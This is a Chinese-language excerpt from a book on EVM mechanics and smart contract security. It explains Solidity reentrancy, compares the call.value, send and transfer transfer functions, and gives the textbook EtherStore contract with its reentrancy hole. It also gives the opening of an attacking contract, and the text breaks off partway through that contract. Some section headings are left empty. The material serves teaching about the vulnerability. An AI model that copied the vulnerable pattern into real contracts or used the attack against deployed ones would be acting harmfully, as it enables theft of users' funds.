以下都是来自我的新作《解密EVM机制及合约安全漏洞》里的内容
电子版PDF下载:https://download.csdn.net/download/softgmx/10800947
重入问题
漏洞成立的条件:
- 合约调用带有足够的gas
- 有转账功能(payable)
- 状态变量在重入函数调用之后
底层转账函数 |
防重入 |
错误处理 |
<address>.call.value()() |
NO |
返回false |
<address>.send() |
YES |
返回false |
<address>.transfer() |
YES |
Revert stateDB到调用前状态 |
<address>.call.value()的实现:
<address>.send()的实现:
<address>.transfer()的实现:
Transfer能在调用失败时候主动抛出异常的原理:
漏洞案例合约:
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
攻击合约:
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
require(msg.value >= 1 ether);
etherStore.depositFunds.value(1 ether)();